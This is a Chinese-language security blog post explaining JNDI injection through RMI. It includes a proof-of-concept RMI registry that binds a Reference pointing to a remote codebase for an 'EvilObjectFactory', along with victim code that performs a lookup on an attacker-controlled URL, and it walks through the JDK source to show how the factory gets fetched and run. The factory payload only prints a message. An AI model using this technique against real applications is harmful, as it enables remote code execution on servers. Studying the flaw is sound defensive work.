长亭百川云 - 文章详情

关于 JNDI 注入

n1nty

41

2024-07-15

一篇炒冷饭的文章,全当笔记在写了,这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入” 分析文章没写过的东西,如果你看的不是很明白的话可以配合其他人写的分析文章一起看。

需要知道的背景知识

  1. JNDI 的概念不细写了,只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容

  2. JNDI API 中涉及到的常见的方法与接口的作用,如:Context.lookup

  3. JNDI 中 ServiceProvider 以及 ObjectFactory 的作用

  4. Reference 类的作用

  5. RMI 的相关基础知识,可以看我另一篇公众号,我记的非常全。

JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。

ObjectFactory

每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

PoC

public static void main( String\[\] args ) throws Exception  
{  
  
    // 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry  
    Registry registry = LocateRegistry.createRegistry(1999);  
  
    // 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:  
    // jndiinj.EvilObjectFactory        // 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到   // jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载    // 当然利用的时候这里应该是一个真正的 codebase 的地址    Reference ref = new Reference("whatever",  
            "jndiinj.EvilObjectFactory", "http://localhost:9999/");  
  
    // 利用 ReferenceWrapper 将前面的 Reference 对象包装一下  
    // 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去    ReferenceWrapper wrapper = new ReferenceWrapper(ref);  
    registry.bind("evil", wrapper);  
}

EvilObjectFactory

代码如下:

public class EvilObjectFactory implements ObjectFactory {  
  
    public Object getObjectInstance(Object obj, Name name,  
                                    Context nameCtx,  
                                    Hashtable<?, ?> environment)   
            throws Exception {  
          
        System.out.println("executed");  
        return null;    }  
}

Victim

Victim 需要执行 Context.lookup,并且 lookup 的参数需要我们可控。

public static void main(String\[\] args) throws Exception {  
    Context ctx = new InitialContext();  
    // ctx.lookup 参数需要可控  
    System.out.println(ctx.lookup("rmi://localhost:1999/evil"));  
}

我的疑问

最开始看到 PoC 的时候,我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase 下载我们指定的类并去实例化,因为产生了很大的疑惑。

  1. 因为 RMI Class Loading 是有条件限制的,比如说默认禁用,以及与 JVM 的 codebase 配置有很大的关系。

  2. PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。

因为懒,这个疑问一直存在了很长时间,直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf 里面也提到了这个问题。

Victim 端的触发流程

  1. ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url 是以 rmi:// 开头的。

    public Object lookup(Name var1) throws NamingException {  
        if (var1.isEmpty()) {  
            return new RegistryContext(this);  
        } else {  
            Remote var2;  
            try {  
                var2 = this.registry.lookup(var1.get(0));  
            } catch (NotBoundException var4) {  
                throw new NameNotFoundException(var1.get(0));  
            } catch (RemoteException var5) {  
                throw (NamingException)wrapRemoteException(var5).fillInStackTrace();  
            }  
      
            return this.decodeObject(var2, var1.getPrefix(1));  
        }  
    }
    
  2.  在 lookup 里面通过 this.registry.lookup 查找出远程对象,赋给 var2。这里的 var2 确实是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的。证明我的想法是没有错的,存入 rmi registry 的确实是一个 stub。

  3. 进入 this.decode

    private Object decodeObject(Remote var1, Name var2) throws NamingException {  
        try {  
            Object var3 = var1 instanceof RemoteReference ?  
                    ((RemoteReference)var1).getReference() : var1;  
            return NamingManager.getObjectInstance(var3, var2,   
                   this, this.environment);  
        } catch (NamingException var5) {  
            throw var5;  
        } catch (RemoteException var6) {  
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();  
        } catch (Exception var7) {  
            NamingException var4 = new NamingException();  
            var4.setRootCause(var7);  
            throw var4;  
        }  
    }
    
  4. this.decode 内将 stub 还原成了 Reference,这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance

  5. NamingManager.getObjectInstance 内部发现当前 JVM 中不存在 Reference 中指定的 object factory,就自动去我们指定的 codebase 地址下载(并不是利用的 RMI Class Loading 机制,所以解决了我另一个疑惑)并实例化我们指定的 Object Factory 类,并调用其 javax.naming.spi.ObjectFactory#getObjectInstance 方法。 

参考资料

http://docs.oracle.com/javase/jndi/tutorial/TOC.html

http://www.javaworld.com/article/2076888/core-java/jndi-overview--part-1--an-introduction-to-naming-services.html

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2